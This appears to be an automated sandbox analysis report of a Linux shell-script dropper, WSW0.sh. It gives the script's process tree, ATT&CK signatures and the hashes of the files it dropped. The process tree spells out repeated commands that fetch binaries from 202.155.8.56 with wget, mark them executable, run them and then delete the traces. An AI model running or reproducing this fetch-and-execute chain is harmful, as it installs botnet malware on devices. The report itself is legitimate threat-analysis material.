Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25/09/2026, 22:44

General

  • Target
    WSW0.sh
  • Size 263B
  • Sample260925-2nxfhsaa96
  • SHA256 e6fc448db82da2649c7efe3ca6f408c0c5f83aaff89fc9fa1298af878f829b35
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /bin/rm
      rm IPKC
      2⤵
      • System Network Configuration Discovery
      PID:644
    • /usr/bin/wget
      wget http://202.155.8.56/IPKC
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:646
    • /bin/chmod
      chmod +x IPKC
      2⤵
      • File and Directory Permissions Modification
      PID:673
    • /tmp/IPKC
      ./IPKC
      2⤵
      • OS Credential Dumping
      • Checks CPU configuration
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:674
      • /usr/local/sbin/uname
        uname -a
        3⤵
          PID:678
        • /usr/local/bin/uname
          uname -a
          3⤵
            PID:678
          • /usr/sbin/uname
            uname -a
            3⤵
              PID:678
            • /usr/bin/uname
              uname -a
              3⤵
                PID:678
              • /sbin/uname
                uname -a
                3⤵
                  PID:678
                • /bin/uname
                  uname -a
                  3⤵
                    PID:678
                • /bin/rm
                  rm GMXD
                  2⤵
                    PID:676
                  • /usr/bin/wget
                    wget http://202.155.8.56/GMXD
                    2⤵
                    • Writes file to tmp directory
                    PID:677
                  • /bin/chmod
                    chmod +x GMXD
                    2⤵
                    • File and Directory Permissions Modification
                    PID:679
                  • /tmp/GMXD
                    ./GMXD
                    2⤵
                      PID:680
                    • /bin/rm
                      rm BXWD
                      2⤵
                        PID:682
                      • /usr/bin/wget
                        wget http://202.155.8.56/BXWD
                        2⤵
                        • Writes file to tmp directory
                        PID:683
                      • /bin/chmod
                        chmod +x BXWD
                        2⤵
                        • File and Directory Permissions Modification
                        PID:706
                      • /tmp/BXWD
                        ./BXWD
                        2⤵
                          PID:708
                        • /bin/rm
                          rm VMGX
                          2⤵
                            PID:711
                          • /usr/bin/wget
                            wget http://202.155.8.56/VMGX
                            2⤵
                            • Writes file to tmp directory
                            PID:712
                          • /bin/chmod
                            chmod +x VMGX
                            2⤵
                            • File and Directory Permissions Modification
                            PID:733
                          • /tmp/VMGX
                            ./VMGX
                            2⤵
                            • Writes file to tmp directory
                            PID:734
                          • /bin/rm
                            rm HTSX
                            2⤵
                              PID:736
                            • /usr/bin/wget
                              wget http://202.155.8.56/HTSX
                              2⤵
                              • Writes file to tmp directory
                              PID:737
                            • /bin/chmod
                              chmod +x HTSX
                              2⤵
                              • File and Directory Permissions Modification
                              PID:739
                            • /tmp/HTSX
                              ./HTSX
                              2⤵
                                PID:740
                              • /bin/rm
                                rm UFVS
                                2⤵
                                  PID:742
                                • /usr/bin/wget
                                  wget http://202.155.8.56/UFVS
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:743
                                • /bin/chmod
                                  chmod +x UFVS
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:754
                                • /tmp/UFVS
                                  ./UFVS
                                  2⤵
                                    PID:756
                                  • /bin/rm
                                    rm PZCA
                                    2⤵
                                      PID:758
                                    • /usr/bin/wget
                                      wget http://202.155.8.56/PZCA
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:760
                                    • /bin/chmod
                                      chmod +x PZCA
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:779
                                    • /tmp/PZCA
                                      ./PZCA
                                      2⤵
                                        PID:780
                                      • /bin/rm
                                        rm YNEP
                                        2⤵
                                          PID:782
                                        • /usr/bin/wget
                                          wget http://202.155.8.56/YNEP
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:783
                                        • /bin/chmod
                                          chmod +x YNEP
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:785
                                        • /tmp/YNEP
                                          ./YNEP
                                          2⤵
                                            PID:786
                                          • /bin/rm
                                            rm RJGU
                                            2⤵
                                              PID:788
                                            • /usr/bin/wget
                                              wget http://202.155.8.56/RJGU
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:789
                                            • /bin/chmod
                                              chmod +x RJGU
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:791
                                            • /tmp/RJGU
                                              ./RJGU
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:792
                                            • /bin/rm
                                              rm ETQU
                                              2⤵
                                                PID:794
                                              • /usr/bin/wget
                                                wget http://202.155.8.56/ETQU
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:795
                                              • /bin/chmod
                                                chmod +x ETQU
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:796
                                              • /tmp/ETQU
                                                ./ETQU
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:797
                                              • /bin/rm
                                                rm RPMK
                                                2⤵
                                                  PID:799
                                                • /usr/bin/wget
                                                  wget http://202.155.8.56/RPMK
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:800
                                                • /bin/chmod
                                                  chmod +x RPMK
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:801
                                                • /tmp/RPMK
                                                  ./RPMK
                                                  2⤵
                                                    PID:802
                                                  • /bin/rm
                                                    rm UIGP
                                                    2⤵
                                                      PID:804
                                                    • /usr/bin/wget
                                                      wget http://202.155.8.56/UIGP
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:805
                                                    • /bin/chmod
                                                      chmod +x UIGP
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:806
                                                    • /tmp/UIGP
                                                      ./UIGP
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:807
                                                    • /bin/rm
                                                      rm YIJV
                                                      2⤵
                                                        PID:809
                                                      • /usr/bin/wget
                                                        wget http://202.155.8.56/YIJV
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:810
                                                      • /bin/chmod
                                                        chmod +x YIJV
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:811
                                                      • /tmp/YIJV
                                                        ./YIJV
                                                        2⤵
                                                          PID:812
                                                        • /bin/rm
                                                          rm XCRW
                                                          2⤵
                                                            PID:814
                                                          • /usr/bin/wget
                                                            wget http://202.155.8.56/XCRW
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:815
                                                          • /bin/chmod
                                                            chmod +x XCRW
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:816
                                                          • /tmp/XCRW
                                                            ./XCRW
                                                            2⤵
                                                              PID:817
                                                            • /bin/rm
                                                              rm VKGK
                                                              2⤵
                                                                PID:819
                                                              • /usr/bin/wget
                                                                wget http://202.155.8.56/VKGK
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:820
                                                              • /bin/chmod
                                                                chmod +x VKGK
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:821
                                                              • /tmp/VKGK
                                                                ./VKGK
                                                                2⤵
                                                                  PID:822
                                                                • /bin/rm
                                                                  rm NXIU
                                                                  2⤵
                                                                    PID:824
                                                                  • /usr/bin/wget
                                                                    wget http://202.155.8.56/NXIU
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:825
                                                                  • /bin/chmod
                                                                    chmod +x NXIU
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:826
                                                                  • /tmp/NXIU
                                                                    ./NXIU
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:827
                                                                  • /bin/rm
                                                                    rm -rf IPKC
                                                                    2⤵
                                                                    • System Network Configuration Discovery
                                                                    PID:829
                                                                  • /bin/rm
                                                                    rm -rf GMXD
                                                                    2⤵
                                                                      PID:830
                                                                    • /bin/rm
                                                                      rm -rf BXWD
                                                                      2⤵
                                                                        PID:831
                                                                      • /bin/rm
                                                                        rm -rf VMGX
                                                                        2⤵
                                                                          PID:832
                                                                        • /bin/rm
                                                                          rm -rf HTSX
                                                                          2⤵
                                                                            PID:833
                                                                          • /bin/rm
                                                                            rm -rf UFVS
                                                                            2⤵
                                                                              PID:834
                                                                            • /bin/rm
                                                                              rm -rf PZCA
                                                                              2⤵
                                                                                PID:835
                                                                              • /bin/rm
                                                                                rm -rf YNEP
                                                                                2⤵
                                                                                  PID:836
                                                                                • /bin/rm
                                                                                  rm -rf RJGU
                                                                                  2⤵
                                                                                    PID:837
                                                                                  • /bin/rm
                                                                                    rm -rf ETQU
                                                                                    2⤵
                                                                                      PID:838
                                                                                    • /bin/rm
                                                                                      rm -rf RPMK
                                                                                      2⤵
                                                                                        PID:839
                                                                                      • /bin/rm
                                                                                        rm -rf UIGP
                                                                                        2⤵
                                                                                          PID:840
                                                                                        • /bin/rm
                                                                                          rm -rf YIJV
                                                                                          2⤵
                                                                                            PID:841
                                                                                          • /bin/rm
                                                                                            rm -rf XCRW
                                                                                            2⤵
                                                                                              PID:842
                                                                                            • /bin/rm
                                                                                              rm -rf VKGK
                                                                                              2⤵
                                                                                                PID:843
                                                                                              • /bin/rm
                                                                                                rm -rf NXIU
                                                                                                2⤵
                                                                                                  PID:844
                                                                                                • /bin/rm
                                                                                                  rm /tmp/WSW0.sh
                                                                                                  2⤵
                                                                                                    PID:845

                                                                                                Network

                                                                                                      MITRE ATT&CK Enterprise v16

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      .zwxGXIla

                                                                                                      • Path /tmp/.zwxGXIla
                                                                                                      • Size 18B
                                                                                                      • SHA256 e625c6bfff6ff1220fe21040d7e6ca6ca0ba605734ac0d51bb49b619324d1c0a
                                                                                                      • MD5 SHA1 SHA512

                                                                                                      BXWD

                                                                                                      • Path /tmp/BXWD
                                                                                                      • Size 109KB
                                                                                                      • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      ETQU

                                                                                                      • Path /tmp/ETQU
                                                                                                      • Size 125KB
                                                                                                      • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      GMXD

                                                                                                      • Path /tmp/GMXD
                                                                                                      • Size 200KB
                                                                                                      • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      HTSX

                                                                                                      • Path /tmp/HTSX
                                                                                                      • Size 105KB
                                                                                                      • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      IPKC

                                                                                                      • Path /tmp/IPKC
                                                                                                      • Size 125KB
                                                                                                      • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      NXIU

                                                                                                      • Path /tmp/NXIU
                                                                                                      • Size 126KB
                                                                                                      • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      PZCA

                                                                                                      • Path /tmp/PZCA
                                                                                                      • Size 154KB
                                                                                                      • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      RJGU

                                                                                                      • Path /tmp/RJGU
                                                                                                      • Size 86KB
                                                                                                      • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      RPMK

                                                                                                      • Path /tmp/RPMK
                                                                                                      • Size 193KB
                                                                                                      • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      UFVS

                                                                                                      • Path /tmp/UFVS
                                                                                                      • Size 105KB
                                                                                                      • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      UIGP

                                                                                                      • Path /tmp/UIGP
                                                                                                      • Size 121KB
                                                                                                      • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      VKGK

                                                                                                      • Path /tmp/VKGK
                                                                                                      • Size 125KB
                                                                                                      • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      VMGX

                                                                                                      • Path /tmp/VMGX
                                                                                                      • Size 129KB
                                                                                                      • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      XCRW

                                                                                                      • Path /tmp/XCRW
                                                                                                      • Size 193KB
                                                                                                      • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      YIJV

                                                                                                      • Path /tmp/YIJV
                                                                                                      • Size 167KB
                                                                                                      • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                      YNEP

                                                                                                      • Path /tmp/YNEP
                                                                                                      • Size 129KB
                                                                                                      • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH